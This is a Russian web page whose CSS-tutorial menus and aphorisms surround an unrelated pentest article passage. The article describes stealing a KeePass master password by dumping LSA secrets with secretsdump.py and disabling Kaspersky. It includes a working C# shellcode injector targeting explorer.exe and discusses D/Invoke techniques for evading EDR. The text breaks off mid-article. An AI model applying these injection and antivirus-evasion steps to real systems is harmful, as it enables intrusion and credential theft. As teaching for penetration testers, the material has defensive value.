Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Прежде всего скажу, что успех этого предприятия — в обязательном использовании крутой малвари KeeThief из коллекции GhostPack авторства небезызвестных @harmj0y и @tifkin_. Ядро программы — кастомный шелл‑код, который вызывает RtlDecryptMemory в отношении зашифрованной области виртуальной памяти KeePass.exe и выдергивает оттуда наш мастер‑пароль. Если есть шелл‑код, нужен и загрузчик, и с этим возникают трудности, когда на хосте присутствует EDR...
Впрочем, мы отвлеклись. Какие были варианты?
Самый простой (и глупый) способ — вырубить к чертям «Касперского» на пару секунд. «Это не редтим, поэтому право имею!» — подумал я. Так как привилегии администратора домена есть, есть и доступ к серверу администрирования KES. Следовательно, и к учетке KlScSvc
(в этом случае использовалась локальная УЗ), креды от которой хранятся среди секретов LSA в плейнтексте.
Порядок действий простой. Дампаю LSA с помощью secretsdump.py.
Гружу консоль администрирования KES с официального сайта и логинюсь, указав хостнейм KSC.
Стопорю «Каспера» и делаю свои грязные делишки.
Profit! Мастер‑пароль у нас. После окончания проекта я опробовал другие способы решить эту задачу.
Многие C2-фреймворки умеют тащить за собой DLL рантайма кода C# (Common Language Runtime, CLR) и загружать ее отраженно по принципу RDI (Reflective DLL Injection) для запуска малвари из памяти. Теоретически это может повлиять на процесс отлова управляемого кода, исполняемого через такой трюк.
Полноценную сессию Meterpreter при активном антивирусе Касперского получить трудно из‑за обилия артефактов в сетевом трафике, поэтому его execute-assembly я даже пробовать не стал. А вот модуль execute-assembly Cobalt Strike принес свои результаты, если правильно получить сессию beacon (далее скриншоты будут с домашнего KIS, а не KES, но все техники работают и против последнего — проверено).
Все козыри раскрывать не буду — мне еще работать пентестером, однако этот метод тоже не представляет большого интереса в нашей ситуации. Для гладкого получения сессии «маячка» нужен внешний сервак, на который надо накрутить валидный сертификат для шифрования SSL-трафика, а заражать таким образом машину с внутреннего периметра заказчика — совсем невежливо.
Самый интересный и в то же время трудозатратный способ — переписать логику инъекции шелл‑кода таким образом, чтобы EDR не спалил в момент исполнения. Это то, ради чего мы сегодня собрались, но для начала немного теории.
Дело здесь именно в уклонении от эвристического анализа, так как, если спрятать сигнатуру малвари с помощью недетектируемого упаковщика, доступ к памяти нам все равно будет запрещен из‑за фейла инъекции.
Оглянемся назад и рассмотрим классическую технику внедрения стороннего кода в удаленный процесс. Для этого наши предки пользовались священным трио Win32 API:
Напишем простой PoC на C#, демонстрирующий эту самую классическую инъекцию шелл‑кода.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace SimpleInjector
{
public class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(
uint processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);
public static void Main()
{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the Planet!' EXITFUNC=thread -f csharp
byte[] buf = new byte[] { };
// Получаем PID процесса explorer.exe
int processId = Process.GetProcessesByName("explorer")[0].Id;
// Получаем хендл процесса по его PID (0x001F0FFF = PROCESS_ALL_ACCESS)
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
// Выделяем область памяти 0x1000 байт (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
IntPtr allocAddr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
// Записываем шелл-код в выделенную область
_ = WriteProcessMemory(hProcess, allocAddr, buf, buf.Length, out _);
// Запускаем поток
_ = CreateRemoteThread(hProcess, IntPtr.Zero, 0, allocAddr, IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
Скомпилировав и запустив инжектор, с помощью Process Hacker можно наблюдать, как в процессе explorer.exe запустится новый поток, рисующий нам диалоговое окно MSF.
Если просто положить такой бинарь на диск с активным средством антивирусной защиты, реакция будет незамедлительной независимо от содержимого массива buf
, то есть нашего шелл‑кода. Все дело в комбинации потенциально опасных вызовов Win32 API, которые заведомо используются в большом количестве зловредов. Для демонстрации я перекомпилирую инжектор с пустым массивом buf
и залью результат на VirusTotal. Реакция ресурса говорит сама за себя.
Как антивирусное ПО понимает, что перед ним инжектор, даже без динамического анализа? Все просто: пачка атрибутов DllImport
, занимающих половину нашего исходника, кричит об этом на всю деревню. Например, с помощью такого волшебного кода на PowerShell я могу посмотреть все импорты в бинаре .NET.
Здесь используется сборка System.
, доступная «из коробки» в PowerShell Core. Установка описана в документации Microsoft.
$stream=[System.IO.File]::OpenRead($assembly)$peReader=[System.Reflection.PortableExecutable.PEReader]::new($stream,[System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen-bor[System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata)$metadataReader=[System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader)$assemblyDefinition=$metadataReader.GetAssemblyDefinition()foreach($typeHandlerin$metadataReader.TypeDefinitions){$typeDef=$metadataReader.GetTypeDefinition($typeHandler)foreach($methodHandlerin$typeDef.GetMethods()){$methodDef=$metadataReader.GetMethodDefinition($methodHandler)$import=$methodDef.GetImport()if($import.Module.IsNil){continue}$dllImportFuncName=$metadataReader.GetString($import.Name)$dllImportParameters=$import.Attributes.ToString()$dllImportPath=$metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name)Write-Host"$dllImportPath,$dllImportParameters`n$dllImportFuncName`n"}}
Смотрим импорты в SimpleInjector.exeЭти импорты представляют собой способ взаимодействия приложений .NET с неуправляемым кодом — таким, например, как функции библиотек user32.
, kernel32.
. Этот механизм называется P/Invoke (Platform Invocation Services), а сами сигнатуры импортируемых функций с набором аргументов и типом возвращаемого значения можно найти на сайте pinvoke.net.
При анализе этого добра в динамике, как ты понимаешь, дела обстоят еще проще: так как все EDR имеют привычку вешать хуки на userland-интерфейсы, вызовы подозрительных API сразу поднимут тревогу. Подробнее об этом можно почитать в ресерче @ShitSecure, а в лабораторных условиях хукинг нагляднее всего продемонстрировать с помощью API Monitor.
Итак, что же со всем этим делать?
В 2020 году исследователи @TheWover и @FuzzySecurity представили новый API для вызова неуправляемого кода из .NET — D/Invoke (Dynamic Invocation, по аналогии с P/Invoke). Этот способ основан на использовании мощного механизма делегатов в C# и изначально был доступен как часть фреймворка для разработки постэксплуатационных тулз SharpSploit, однако позже был вынесен в отдельный репозиторий и даже появился в виде сборки на NuGet.
С помощью делегатов разработчик может объявить ссылку на функцию, которую хочет вызвать, со всеми параметрами и типом возвращаемого значения, как и при использовании импорта с помощью атрибута DllImport
. Разница в том, что в отличие от импорта с помощью DllImport
, когда адрес импортируемых функций ищет исполняющая среда, при использовании делегатов мы должны самостоятельно локализовать интересующий нас неуправляемый код (динамически, в ходе выполнения программы) и ассоциировать его с объявленным указателем. Далее мы сможем обращаться к указателю как к искомой функции, без необходимости «кричать» о том, что мы вообще собирались ее использовать.
D/Invoke предоставляет не один подход для динамического импорта неуправляемого кода, в том числе:
ntdll.dll
, точно так же парсит ее структуру, чтобы в результате получить не что иное, как указатель на экспорт‑адрес системного вызова — последней черты перед переходом в мир мертвых kernel-mode (о системных вызовах поговорим чуть позже).Чтобы было понятнее, разберем для начала простой пример, который делает нечто похожее на первый подход, но без использования D/Invoke.
Мне очень нравится пример из статьи xpn (второй листинг кода в разделе «A Quick History Lesson»), где он показывает, как можно использовать всю мощь делегатов вместе с ручным поиском экспорт‑адреса неуправляемой функции менее чем за 50 строк.
|
|